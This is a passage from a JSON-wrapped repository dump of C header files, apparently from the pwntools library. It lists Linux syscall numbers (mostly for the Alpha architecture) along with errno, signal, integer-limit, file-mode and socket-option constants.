SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_kcmp 272\n#define SYS_kexec_file_load 294\n#define SYS_kexec_load 104\n#define SYS_keyctl 219\n#define SYS_kill 129\n#define SYS_lgetxattr 9\n#define SYS_linkat 37\n#define SYS_listen 201\n#define SYS_listxattr 11\n#define SYS_llistxattr 12\n#define SYS_lookup_dcookie 18\n#define SYS_lremovexattr 15\n#define SYS_lseek 62\n#define SYS_lsetxattr 6\n#define SYS_madvise 233\n#define SYS_mbind 235\n#define SYS_membarrier 283\n#define SYS_memfd_create 279\n#define SYS_migrate_pages 238\n#define SYS_mincore 232\n#define SYS_mkdirat 34\n#define SYS_mknodat 33\n#define SYS_mlock 228\n#define SYS_mlock2 284\n#define SYS_mlockall 230\n#define SYS_mmap 222\n#define SYS_mount 40\n#define SYS_move_mount 429\n#define SYS_move_pages 239\n#define SYS_mprotect 226\n#define SYS_mq_getsetattr 185\n#define SYS_mq_notify 184\n#define SYS_mq_open 180\n#define SYS_mq_timedreceive 183\n#define SYS_mq_timedsend 182\n#define SYS_mq_unlink 181\n#define SYS_mremap 216\n#define SYS_msgctl 187\n#define SYS_msgget 186\n#define SYS_msgrcv 188\n#define SYS_msgsnd 189\n#define SYS_msync 227\n#define SYS_munlock 229\n#define SYS_munlockall 231\n#define SYS_munmap 215\n#define SYS_name_to_handle_at 264\n#define SYS_nanosleep 101\n#define SYS_newfstatat 79\n#define SYS_nfsservctl 42\n#define SYS_openat 56\n#define SYS_open_by_handle_at 265\n#define SYS_open_tree 428\n#define SYS_perf_event_open 241\n#define SYS_personality 92\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe2 59\n#define SYS_pivot_root 41\n#define SYS_pkey_alloc 289\n#define SYS_pkey_free 290\n#define SYS_pkey_mprotect 288\n#define SYS_ppoll 73\n#define SYS_prctl 167\n#define SYS_pread64 67\n#define SYS_preadv 69\n#define SYS_preadv2 286\n#define SYS_prlimit64 261\n#define SYS_process_vm_readv 270\n#define SYS_process_vm_writev 271\n#define SYS_pselect6 72\n#define SYS_ptrace 117\n#define SYS_pwrite64 68\n#define SYS_pwritev 70\n#define SYS_pwritev2 287\n#define SYS_quotactl 60\n#define SYS_read 63\n#define SYS_readahead 213\n#define SYS_readlinkat 78\n#define SYS_readv 65\n#define SYS_reboot 142\n#define SYS_recvfrom 207\n#define SYS_recvmmsg 243\n#define SYS_recvmsg 212\n#define SYS_remap_file_pages 234\n#define SYS_removexattr 14\n#define SYS_renameat 38\n#define SYS_renameat2 276\n#define SYS_request_key 218\n#define SYS_restart_syscall 128\n#define SYS_rseq 293\n#define SYS_rt_sigaction 134\n#define SYS_rt_sigpending 136\n#define SYS_rt_sigprocmask 135\n#define SYS_rt_sigqueueinfo 138\n#define SYS_rt_sigreturn 139\n#define SYS_rt_sigsuspend 133\n#define SYS_rt_sigtimedwait 137\n#define SYS_rt_tgsigqueueinfo 240\n#define SYS_sched_getaffinity 123\n#define SYS_sched_getattr 275\n#define SYS_sched_getparam 121\n#define SYS_sched_get_priority_max 125\n#define SYS_sched_get_priority_min 126\n#define SYS_sched_getscheduler 120\n#define SYS_sched_rr_get_interval 127\n#define SYS_sched_setaffinity 122\n#define SYS_sched_setattr 274\n#define SYS_sched_setparam 118\n#define SYS_sched_setscheduler 119\n#define SYS_sched_yield 124\n#define SYS_seccomp 277\n#define SYS_semctl 191\n#define SYS_semget 190\n#define SYS_semop 193\n#define SYS_semtimedop 192\n#define SYS_sendfile 71\n#define SYS_sendmmsg 269\n#define SYS_sendmsg 211\n#define SYS_sendto 206\n#define SYS_setdomainname 162\n#define SYS_setfsgid 152\n#define SYS_setfsuid 151\n#define SYS_setgid 144\n#define SYS_setgroups 159\n#define SYS_sethostname 161\n#define SYS_setitimer 103\n#define SYS_set_mempolicy 237\n#define SYS_setns 268\n#define SYS_setpgid 154\n#define SYS_setpriority 140\n#define SYS_setregid 143\n#define SYS_setresgid 149\n#define SYS_setresuid 147\n#define SYS_setreuid 145\n#define SYS_setrlimit 164\n#define SYS_set_robust_list 99\n#define SYS_setsid 157\n#define SYS_setsockopt 208\n#define SYS_set_tid_address 96\n#define SYS_settimeofday 170\n#define SYS_setuid 146\n#define SYS_setxattr 5\n#define SYS_shmat 196\n#define SYS_shmctl 195\n#define SYS_shmdt 197\n#define SYS_shmget 194\n#define SYS_shutdown 210\n#define SYS_sigaltstack 132\n#define SYS_signalfd4 74\n#define SYS_socket 198\n#define SYS_socketpair 199\n#define SYS_splice 76\n#define SYS_statfs 43\n#define SYS_statx 291\n#define SYS_swapoff 225\n#define SYS_swapon 224\n#define SYS_symlinkat 36\n#define SYS_sync 81\n#define SYS_sync_file_range 84\n#define SYS_syncfs 267\n#define SYS_sysinfo 179\n#define SYS_syslog 116\n#define SYS_tee 77\n#define SYS_tgkill 131\n#define SYS_timer_create 107\n#define SYS_timer_delete 111\n#define SYS_timerfd_create 85\n#define SYS_timerfd_gettime 87\n#define SYS_timerfd_settime 86\n#define SYS_timer_getoverrun 109\n#define SYS_timer_gettime 108\n#define SYS_timer_settime 110\n#define SYS_times 153\n#define SYS_tkill 130\n#define SYS_truncate 45\n#define SYS_umask 166\n#define SYS_umount2 39\n#define SYS_uname 160\n#define SYS_unlinkat 35\n#define SYS_unshare 97\n#define SYS_userfaultfd 282\n#define SYS_utimensat 88\n#define SYS_vhangup 58\n#define SYS_vmsplice 75\n#define SYS_wait4 260\n#define SYS_waitid 95\n#define SYS_write 64\n#define SYS_writev 66\n"
  },
  {
    "path": "pwnlib/data/includes/linux/alpha.h",
    "content": "#define __NR_osf_syscall 0\n#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_osf_old_open 5\n#define __NR_close 6\n#define __NR_osf_wait4 7\n#define __NR_osf_old_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_osf_execve 11\n#define __NR_chdir 12\n#define __NR_fchdir 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_chown 16\n#define __NR_brk 17\n#define __NR_osf_getfsstat 18\n#define __NR_lseek 19\n#define __NR_getxpid 20\n#define __NR_osf_mount 21\n#define __NR_umount 22\n#define __NR_setuid 23\n#define __NR_getxuid 24\n#define __NR_exec_with_loader 25\n#define __NR_ptrace 26\n#define __NR_osf_nrecvmsg 27\n#define __NR_osf_nsendmsg 28\n#define __NR_osf_nrecvfrom 29\n#define __NR_osf_naccept 30\n#define __NR_osf_ngetpeername 31\n#define __NR_osf_ngetsockname 32\n#define __NR_access 33\n#define __NR_osf_chflags 34\n#define __NR_osf_fchflags 35\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_osf_old_stat 38\n#define __NR_setpgid 39\n#define __NR_osf_old_lstat 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_osf_set_program_attributes 43\n#define __NR_osf_profil 44\n#define __NR_open 45\n#define __NR_osf_old_sigaction 46\n#define __NR_getxgid 47\n#define __NR_osf_sigprocmask 48\n#define __NR_osf_getlogin 49\n#define __NR_osf_setlogin 50\n#define __NR_acct 51\n#define __NR_sigpending 52\n#define __NR_ioctl 54\n#define __NR_osf_reboot 55\n#define __NR_osf_revoke 56\n#define __NR_symlink 57\n#define __NR_readlink 58\n#define __NR_execve 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_osf_old_fstat 62\n#define __NR_getpgrp 63\n#define __NR_getpagesize 64\n#define __NR_osf_mremap 65\n#define __NR_vfork 66\n#define __NR_stat 67\n#define __NR_lstat 68\n#define __NR_osf_sbrk 69\n#define __NR_osf_sstk 70\n#define __NR_mmap 71\n#define __NR_osf_old_vadvise 72\n#define __NR_munmap 73\n#define __NR_mprotect 74\n#define __NR_madvise 75\n#define __NR_vhangup 76\n#define __NR_osf_kmodcall 77\n#define __NR_osf_mincore 78\n#define __NR_getgroups 79\n#define __NR_setgroups 80\n#define __NR_osf_old_getpgrp 81\n#define __NR_setpgrp 82\n#define __NR_osf_setitimer 83\n#define __NR_osf_old_wait 84\n#define __NR_osf_table 85\n#define __NR_osf_getitimer 86\n#define __NR_gethostname 87\n#define __NR_sethostname 88\n#define __NR_getdtablesize 89\n#define __NR_dup2 90\n#define __NR_fstat 91\n#define __NR_fcntl 92\n#define __NR_osf_select 93\n#define __NR_poll 94\n#define __NR_fsync 95\n#define __NR_setpriority 96\n#define __NR_socket 97\n#define __NR_connect 98\n#define __NR_accept 99\n#define __NR_getpriority 100\n#define __NR_send 101\n#define __NR_recv 102\n#define __NR_sigreturn 103\n#define __NR_bind 104\n#define __NR_setsockopt 105\n#define __NR_listen 106\n#define __NR_osf_plock 107\n#define __NR_osf_old_sigvec 108\n#define __NR_osf_old_sigblock 109\n#define __NR_osf_old_sigsetmask 110\n#define __NR_sigsuspend 111\n#define __NR_osf_sigstack 112\n#define __NR_recvmsg 113\n#define __NR_sendmsg 114\n#define __NR_osf_old_vtrace 115\n#define __NR_osf_gettimeofday 116\n#define __NR_osf_getrusage 117\n#define __NR_getsockopt 118\n#define __NR_readv 120\n#define __NR_writev 121\n#define __NR_osf_settimeofday 122\n#define __NR_fchown 123\n#define __NR_fchmod 124\n#define __NR_recvfrom 125\n#define __NR_setreuid 126\n#define __NR_setregid 127\n#define __NR_rename 128\n#define __NR_truncate 129\n#define __NR_ftruncate 130\n#define __NR_flock 131\n#define __NR_setgid 132\n#define __NR_sendto 133\n#define __NR_shutdown 134\n#define __NR_socketpair 135\n#define __NR_mkdir 136\n#define __NR_rmdir 137\n#define __NR_osf_utimes 138\n#define __NR_osf_old_sigreturn 139\n#define __NR_osf_adjtime 140\n#define __NR_getpeername 141\n#define __NR_osf_gethostid 142\n#define __NR_osf_sethostid 143\n#define __NR_getrlimit 144\n#define __NR_setrlimit 145\n#define __NR_osf_old_killpg 146\n#define __NR_setsid 147\n#define __NR_quotactl 148\n#define __NR_osf_oldquota 149\n#define __NR_getsockname 150\n#define __NR_osf_pid_block 153\n#define __NR_osf_pid_unblock 154\n#define __NR_sigaction 156\n#define __NR_osf_sigwaitprim 157\n#define __NR_osf_nfssvc 158\n#define __NR_osf_getdirentries 159\n#define __NR_osf_statfs 160\n#define __NR_osf_fstatfs 161\n#define __NR_osf_asynch_daemon 163\n#define __NR_osf_getfh 164\n#define __NR_osf_getdomainname 165\n#define __NR_setdomainname 166\n#define __NR_osf_exportfs 169\n#define __NR_osf_alt_plock 181\n#define __NR_osf_getmnt 184\n#define __NR_osf_alt_sigpending 187\n#define __NR_osf_alt_setsid 188\n#define __NR_osf_swapon 199\n#define __NR_msgctl 200\n#define __NR_msgget 201\n#define __NR_msgrcv 202\n#define __NR_msgsnd 203\n#define __NR_semctl 204\n#define __NR_semget 205\n#define __NR_semop 206\n#define __NR_osf_utsname 207\n#define __NR_lchown 208\n#define __NR_osf_shmat 209\n#define __NR_shmctl 210\n#define __NR_shmdt 211\n#define __NR_shmget 212\n#define __NR_osf_mvalid 213\n#define __NR_osf_getaddressconf 214\n#define __NR_osf_msleep 215\n#define __NR_osf_mwakeup 216\n#define __NR_msync 217\n#define __NR_osf_signal 218\n#define __NR_osf_utc_gettime 219\n#define __NR_osf_utc_adjtime 220\n#define __NR_osf_security 222\n#define __NR_osf_kloadcall 223\n#define __NR_getpgid 233\n#define __NR_getsid 234\n#define __NR_sigaltstack 235\n#define __NR_osf_waitid 236\n#define __NR_osf_priocntlset 237\n#define __NR_osf_sigsendset 238\n#define __NR_osf_set_speculative 239\n#define __NR_osf_msfs_syscall 240\n#define __NR_osf_sysinfo 241\n#define __NR_osf_uadmin 242\n#define __NR_osf_fuser 243\n#define __NR_osf_proplist_syscall 244\n#define __NR_osf_ntp_adjtime 245\n#define __NR_osf_ntp_gettime 246\n#define __NR_osf_pathconf 247\n#define __NR_osf_fpathconf 248\n#define __NR_osf_uswitch 250\n#define __NR_osf_usleep_thread 251\n#define __NR_osf_audcntl 252\n#define __NR_osf_audgen 253\n#define __NR_sysfs 254\n#define __NR_osf_subsys_info 255\n#define __NR_osf_getsysinfo 256\n#define __NR_osf_setsysinfo 257\n#define __NR_osf_afs_syscall 258\n#define __NR_osf_swapctl 259\n#define __NR_osf_memcntl 260\n#define __NR_osf_fdatasync 261\n#define __NR_umount_with_flags 22\n#define __NR_bdflush 300\n#define __NR_sethae 301\n#define __NR_mount 302\n#define __NR_old_adjtimex 303\n#define __NR_swapoff 304\n#define __NR_getdents 305\n#define __NR_create_module 306\n#define __NR_init_module 307\n#define __NR_delete_module 308\n#define __NR_get_kernel_syms 309\n#define __NR_syslog 310\n#define __NR_reboot 311\n#define __NR_clone 312\n#define __NR_uselib 313\n#define __NR_mlock 314\n#define __NR_munlock 315\n#define __NR_mlockall 316\n#define __NR_munlockall 317\n#define __NR_sysinfo 318\n#define __NR__sysctl 319\n#define __NR_oldumount 321\n#define __NR_swapon 322\n#define __NR_times 323\n#define __NR_personality 324\n#define __NR_setfsuid 325\n#define __NR_setfsgid 326\n#define __NR_ustat 327\n#define __NR_statfs 328\n#define __NR_fstatfs 329\n#define __NR_sched_setparam 330\n#define __NR_sched_getparam 331\n#define __NR_sched_setscheduler 332\n#define __NR_sched_getscheduler 333\n#define __NR_sched_yield 334\n#define __NR_sched_get_priority_max 335\n#define __NR_sched_get_priority_min 336\n#define __NR_sched_rr_get_interval 337\n#define __NR_afs_syscall 338\n#define __NR_uname 339\n#define __NR_nanosleep 340\n#define __NR_mremap 341\n#define __NR_nfsservctl 342\n#define __NR_setresuid 343\n#define __NR_getresuid 344\n#define __NR_pciconfig_read 345\n#define __NR_pciconfig_write 346\n#define __NR_query_module 347\n#define __NR_prctl 348\n#define __NR_pread 349\n#define __NR_pwrite 350\n#define __NR_rt_sigreturn 351\n#define __NR_rt_sigaction 352\n#define __NR_rt_sigprocmask 353\n#define __NR_rt_sigpending 354\n#define __NR_rt_sigtimedwait 355\n#define __NR_rt_sigqueueinfo 356\n#define __NR_rt_sigsuspend 357\n#define __NR_select 358\n#define __NR_gettimeofday 359\n#define __NR_settimeofday 360\n#define __NR_getitimer 361\n#define __NR_setitimer 362\n#define __NR_utimes 363\n#define __NR_getrusage 364\n#define __NR_wait4 365\n#define __NR_adjtimex 366\n#define __NR_getcwd 367\n#define __NR_capget 368\n#define __NR_capset 369\n#define __NR_sendfile 370\n#define __NR_setresgid 371\n#define __NR_getresgid 372\n#define __NR_dipc 373\n#define __NR_pivot_root 374\n#define __NR_mincore 375\n#define __NR_pciconfig_iobase 376\n#define __NR_getdents64 377\n#define __NR_gettid 378\n#define __NR_readahead 379\n#define __NR_tkill 381\n#define __NR_setxattr 382\n#define __NR_lsetxattr 383\n#define __NR_fsetxattr 384\n#define __NR_getxattr 385\n#define __NR_lgetxattr 386\n#define __NR_fgetxattr 387\n#define __NR_listxattr 388\n#define __NR_llistxattr 389\n#define __NR_flistxattr 390\n#define __NR_removexattr 391\n#define __NR_lremovexattr 392\n#define __NR_fremovexattr 393\n#define __NR_futex 394\n#define __NR_sched_setaffinity 395\n#define __NR_sched_getaffinity 396\n#define __NR_tuxcall 397\n#define __NR_io_setup 398\n#define __NR_io_destroy 399\n#define __NR_io_getevents 400\n#define __NR_io_submit 401\n#define __NR_io_cancel 402\n#define __NR_exit_group 405\n#define __NR_lookup_dcookie 406\n#define __NR_sys_epoll_create 407\n#define __NR_sys_epoll_ctl 408\n#define __NR_sys_epoll_wait 409\n#define __NR_remap_file_pages 410\n#define __NR_set_tid_address 411\n#define __NR_restart_syscall 412\n#define __NR_fadvise64 413\n#define __NR_timer_create 414\n#define __NR_timer_settime 415\n#define __NR_timer_gettime 416\n#define __NR_timer_getoverrun 417\n#define __NR_timer_delete 418\n#define __NR_clock_settime 419\n#define __NR_clock_gettime 420\n#define __NR_clock_getres 421\n#define __NR_clock_nanosleep 422\n#define __NR_semtimedop 423\n#define __NR_tgkill 424\n#define __NR_stat64 425\n#define __NR_lstat64 426\n#define __NR_fstat64 427\n#define __NR_vserver 428\n#define __NR_mbind 429\n#define __NR_get_mempolicy 430\n#define __NR_set_mempolicy 431\n#define __NR_mq_open 432\n#define __NR_mq_unlink 433\n#define __NR_mq_timedsend 434\n#define __NR_mq_timedreceive 435\n#define __NR_mq_notify 436\n#define __NR_mq_getsetattr 437\n#define __NR_waitid 438\n#define __NR_add_key 439\n#define __NR_request_key 440\n#define __NR_keyctl 441\n#define __NR_ioprio_set 442\n#define __NR_ioprio_get 443\n#define __NR_inotify_init 444\n#define __NR_inotify_add_watch 445\n#define __NR_inotify_rm_watch 446\n#define __NR_fdatasync 447\n#define __NR_kexec_load 448\n#define __NR_migrate_pages 449\n#define __NR_openat 450\n#define __NR_mkdirat 451\n#define __NR_mknodat 452\n#define __NR_fchownat 453\n#define __NR_futimesat 454\n#define __NR_fstatat64 455\n#define __NR_unlinkat 456\n#define __NR_renameat 457\n#define __NR_linkat 458\n#define __NR_symlinkat 459\n#define __NR_readlinkat 460\n#define __NR_fchmodat 461\n#define __NR_faccessat 462\n#define __NR_pselect6 463\n#define __NR_ppoll 464\n#define __NR_unshare 465\n#define __NR_set_robust_list 466\n#define __NR_get_robust_list 467\n#define __NR_splice 468\n#define __NR_sync_file_range 469\n#define __NR_tee 470\n#define __NR_vmsplice 471\n#define __NR_move_pages 472\n#define __NR_getcpu 473\n#define __NR_epoll_pwait 474\n#define __NR_utimensat 475\n#define __NR_signalfd 476\n#define __NR_timerfd 477\n#define __NR_eventfd 478\n#define __NR_recvmmsg 479\n#define __NR_fallocate 480\n#define __NR_timerfd_create 481\n#define __NR_timerfd_settime 482\n#define __NR_timerfd_gettime 483\n#define __NR_signalfd4 484\n#define __NR_eventfd2 485\n#define __NR_epoll_create1 486\n#define __NR_dup3 487\n#define __NR_pipe2 488\n#define __NR_inotify_init1 489\n#define __NR_preadv 490\n#define __NR_pwritev 491\n#define __NR_rt_tgsigqueueinfo 492\n#define __NR_perf_event_open 493\n#define __NR_fanotify_init 494\n#define __NR_fanotify_mark 495\n#define __NR_prlimit64 496\n#define __NR_name_to_handle_at 497\n#define __NR_open_by_handle_at 498\n#define __NR_clock_adjtime 499\n#define __NR_syncfs 500\n#define __NR_setns 501\n#define __NR_accept4 502\n#define __NR_sendmmsg 503\n#define __NR_process_vm_readv 504\n#define __NR_process_vm_writev 505\n#define __NR_kcmp 506\n#define __NR_finit_module 507\n#define __NR_sched_setattr 508\n#define __NR_sched_getattr 509\n#define __NR_renameat2 510\n#define __NR_getrandom 511\n#define __NR_memfd_create 512\n#define __NR_execveat 513\n#define __NR_seccomp 514\n#define __NR_bpf 515\n#define __NR_userfaultfd 516\n#define __NR_membarrier 517\n#define __NR_mlock2 518\n#define __NR_copy_file_range 519\n#define __NR_preadv2 520\n#define __NR_pwritev2 521\n#define __NR_statx 522\n#define __NR_io_pgetevents 523\n#define __NR_pkey_mprotect 524\n#define __NR_pkey_alloc 525\n#define __NR_pkey_free 526\n#define __NR_rseq 527\n#define __NR_statfs64 528\n#define __NR_fstatfs64 529\n#define __NR_getegid 530\n#define __NR_geteuid 531\n#define __NR_getppid 532\n#define __NR_pidfd_send_signal 534\n#define __NR_io_uring_setup 535\n#define __NR_io_uring_enter 536\n#define __NR_io_uring_register 537\n#define __NR_open_tree 538\n#define __NR_move_mount 539\n#define __NR_fsopen 540\n#define __NR_fsconfig 541\n#define __NR_fsmount 542\n#define __NR_fspick 543\n#define __NR_pidfd_open 544\n#define __NR_openat2 547\n#define __NR_pidfd_getfd 548\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EDEADLK 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EAGAIN 35\n#define EWOULDBLOCK 35\n#define EINPROGRESS 36\n#define EALREADY 37\n#define ENOTSOCK 38\n#define EDESTADDRREQ 39\n#define EMSGSIZE 40\n#define EPROTOTYPE 41\n#define ENOPROTOOPT 42\n#define EPROTONOSUPPORT 43\n#define ESOCKTNOSUPPORT 44\n#define EOPNOTSUPP 45\n#define ENOTSUP 45\n#define EPFNOSUPPORT 46\n#define EAFNOSUPPORT 47\n#define EADDRINUSE 48\n#define EADDRNOTAVAIL 49\n#define ENETDOWN 50\n#define ENETUNREACH 51\n#define ENETRESET 52\n#define ECONNABORTED 53\n#define ECONNRESET 54\n#define ENOBUFS 55\n#define EISCONN 56\n#define ENOTCONN 57\n#define ESHUTDOWN 58\n#define ETOOMANYREFS 59\n#define ETIMEDOUT 60\n#define ECONNREFUSED 61\n#define ELOOP 62\n#define ENAMETOOLONG 63\n#define EHOSTDOWN 64\n#define EHOSTUNREACH 65\n#define ENOTEMPTY 66\n#define EUSERS 68\n#define EDQUOT 69\n#define ESTALE 70\n#define EREMOTE 71\n#define ENOLCK 77\n#define ENOSYS 78\n#define ENOMSG 80\n#define EIDRM 81\n#define ENOSR 82\n#define ETIME 83\n#define EBADMSG 84\n#define EPROTO 85\n#define ENODATA 86\n#define ENOSTR 87\n#define ENOPKG 92\n#define EILSEQ 116\n#define ECHRNG 88\n#define EL2NSYNC 89\n#define EL3HLT 90\n#define EL3RST 91\n#define ELNRNG 93\n#define EUNATCH 94\n#define ENOCSI 95\n#define EL2HLT 96\n#define EBADE 97\n#define EBADR 98\n#define EXFULL 99\n#define ENOANO 100\n#define EBADRQC 101\n#define EBADSLT 102\n#define EDEADLOCK 11\n#define EBFONT 104\n#define ENONET 105\n#define ENOLINK 106\n#define EADV 107\n#define ESRMNT 108\n#define ECOMM 109\n#define EMULTIHOP 110\n#define EDOTDOT 111\n#define EOVERFLOW 112\n#define ENOTUNIQ 113\n#define EBADFD 114\n#define EREMCHG 115\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define ELIBACC 122\n#define ELIBBAD 123\n#define ELIBSCN 124\n#define ELIBMAX 125\n#define ELIBEXEC 126\n#define ERESTART 127\n#define ESTRPIPE 128\n#define ENOMEDIUM 129\n#define EMEDIUMTYPE 130\n#define ECANCELED 131\n#define ENOKEY 132\n#define EKEYEXPIRED 133\n#define EKEYREVOKED 134\n#define EKEYREJECTED 135\n#define EOWNERDEAD 136\n#define ENOTRECOVERABLE 137\n#define ERFKILL 138\n#define EHWPOISON 139\n#define __SYS_NERR ((139) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 64\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGEMT 7\n#define SIGBUS 10\n#define SIGSYS 12\n#define SIGURG 16\n#define SIGSTOP 17\n#define SIGTSTP 18\n#define SIGCONT 19\n#define SIGCHLD 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGIO 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGPWR 29\n#define SIGUSR1 30\n#define SIGUSR2 31\n#define SIGINFO 29\n#define SIGCLD 20\n#define SIGPOLL 23\n#define SIGLOST 29\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_ONSTACK 0x00000001\n#define SA_RESTART 0x00000002\n#define SA_NOCLDSTOP 0x00000004\n#define SA_NODEFER 0x00000008\n#define SA_RESETHAND 0x00000010\n#define SA_NOCLDWAIT 0x00000020\n#define SA_SIGINFO 0x00000040\n#define SA_INTERRUPT 0x20000000\n#define SA_NOMASK 0x00000008\n#define SA_ONESHOT 0x00000010\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 3\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 0xffff\n#define SO_DEBUG 0x0001\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_LINGER 0x0080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_TYPE 0x1008\n#define SO_ERROR 0x1007\n#define SO_SNDBUF 0x1001\n#define SO_RCVBUF 0x1002\n#define SO_NO_CHECK 11\n#define 